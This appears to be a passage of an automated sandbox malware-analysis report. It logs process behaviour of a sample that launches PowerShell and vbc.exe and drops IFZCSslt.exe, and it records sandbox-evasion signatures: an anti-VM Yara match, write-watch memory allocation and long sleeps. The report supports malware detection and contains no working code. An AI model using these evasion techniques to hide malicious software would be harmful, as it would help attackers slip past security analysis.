Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: 1860000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: 3310000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: 3040000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: 91F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: A1F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: A3F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Memory allocated: B3F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 5550000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 6F30000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 6E40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 27C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 2A80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 27C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 84C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 94C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: 96A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Memory allocated: A6A0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 4E40000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 68A0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Memory allocated: 6600000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599360 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598985 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598733 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598510 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598183 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596985 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596375 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596266 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596154 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595450 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595219 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594891 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594451 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594219 Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599421
